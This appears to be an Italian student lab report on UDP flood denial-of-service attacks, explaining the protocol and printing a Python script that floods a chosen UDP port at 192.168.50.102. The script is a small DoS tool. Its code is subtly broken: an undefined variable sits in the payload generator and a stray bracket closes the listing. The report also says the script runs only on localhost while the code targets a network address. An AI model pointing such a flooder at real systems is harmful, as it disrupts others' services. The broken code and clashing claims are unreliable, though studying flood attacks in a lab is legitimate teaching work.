

Report – UDP Flood e simulazione in laboratorio

1.Cos'è un UDP Flood

L'UDP flood è una tipologia di attacco Denial of Service (DoS) che sfrutta il protocollo UDP (User Datagram Protocol) per inviare una grande quantità di pacchetti verso una macchina target.

UDP è un protocollo:

- connectionless
- privo di handshake
- senza meccanismi di controllo dello stato

Questo significa che il sistema ricevente deve comunque processare ogni pacchetto ricevuto, anche se non è in grado di rispondere o se il servizio non è previsto.

In un UDP flood, l'obiettivo è saturare le risorse del sistema target (rete, CPU, buffer) attraverso l'invio massivo di pacchetti UDP in un breve periodo di tempo.

2.Obiettivo dell'attività di laboratorio

L'obiettivo dell'attività è comprendere il funzionamento di un UDP flood e osservarne gli effetti in un ambiente di laboratorio controllato, senza arrecare danni a sistemi reali.

L'esperimento permette di analizzare:

- il comportamento del protocollo UDP sotto carico
- l'impatto del traffico massivo su un sistema
- le differenze tra traffico normale e traffico anomalo

3.Descrizione dello script Python utilizzato

Lo script Python sviluppato utilizza socket UDP (AF_INET, SOCK_DGRAM) per inviare un numero elevato di pacchetti verso una porta UDP specificata dall'utente.

Le principali caratteristiche dello script sono:

- invio di pacchetti UDP da 1 KB
- generazione di dati casuali come payload
- possibilità di definire il numero di pacchetti
- utilizzo di un rate limit per mantenere l'esperimento controllato
- esecuzione limitata a localhost per scopi didattici

Lo script simula quindi un UDP flood di laboratorio, riproducendo il comportamento di un attacco di saturazione basato su UDP.

```
File Edit Search View Document Help
1 import socket
2 import random
3 import time
4
5 def genera_pacchetto(dimensione=1024):
6     """
7     Genera un pacchetto di byte casuali da 1 KB
8     """
9     return bytes(random.getrandbits(i) for _ in range(dimensione))
10
11 def main():
12     # TARGET LIMITATO A LABORATORIO
13     target_ip = "192.168.50.102"
14     target_port = int(input("Inserisci la porta UDP target: "))
15     numero_pacchetti = int(input("Numero di pacchetti da inviare: "))
16
17     # Creazione socket UDP
18     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
19
20     dimensione_pacchetto = 1024 # 1 KB
21
22     print("[*] UDP FLOOD - MODALITA' LABORATORIO")
23     print(f"[*] Target: {target_ip}:{target_port}")
24     print(f"[*] Dimensione pacchetto: {dimensione_pacchetto} byte")
25
26     for i in range(numero_pacchetti):
27         pacchetto = genera_pacchetto(dimensione_pacchetto)
28         sock.sendto(pacchetto, (target_ip, target_port))
29         print(f"[*] Pacchetto {i + 1} inviato ({dimensione_pacchetto} byte)")
30         time.sleep(0.01) # rate limit per sicurezza
31
32     sock.close()
33     print("[*] Invio completato.")
34
35 if __name__ == "__main__":
36     main()
37
38 ]
```

4.Cosa avviene durante l'esecuzione dello script

Durante l'esecuzione dello script:

- viene generata una sequenza di pacchetti UDP di dimensione fissa
- i pacchetti vengono inviati rapidamente verso la porta indicata
- il sistema target riceve un flusso continuo di traffico UDP

Dal punto di vista della macchina ricevente:

- aumenta il traffico di rete
- vengono impegnate le risorse di rete e di sistema
- se è presente un servizio in ascolto, questo deve gestire ogni pacchetto ricevuto

Anche in assenza di un servizio applicativo, il sistema operativo deve comunque gestire i pacchetti in ingresso, evidenziando come un UDP flood possa causare degrado delle prestazioni.

5.Considerazioni sul protocollo UDP

A differenza di TCP, UDP:

- non mantiene lo stato delle connessioni
- non verifica la consegna dei pacchetti
- non implementa controllo di flusso

Queste caratteristiche rendono UDP particolarmente adatto a traffico veloce, ma anche vulnerabile ad attacchi di tipo flood, poiché il sistema target non può facilmente distinguere traffico legittimo da traffico malevolo.

6.Conclusione

L'attività di laboratorio ha permesso di:

- comprendere il funzionamento di un UDP flood
- osservare gli effetti del traffico massivo su un sistema
- analizzare il comportamento del protocollo UDP sotto carico
- applicare concetti teorici di sicurezza di rete in modo pratico

Lo script Python realizzato rappresenta un valido strumento didattico per studiare gli attacchi di tipo flood in modo etico e controllato.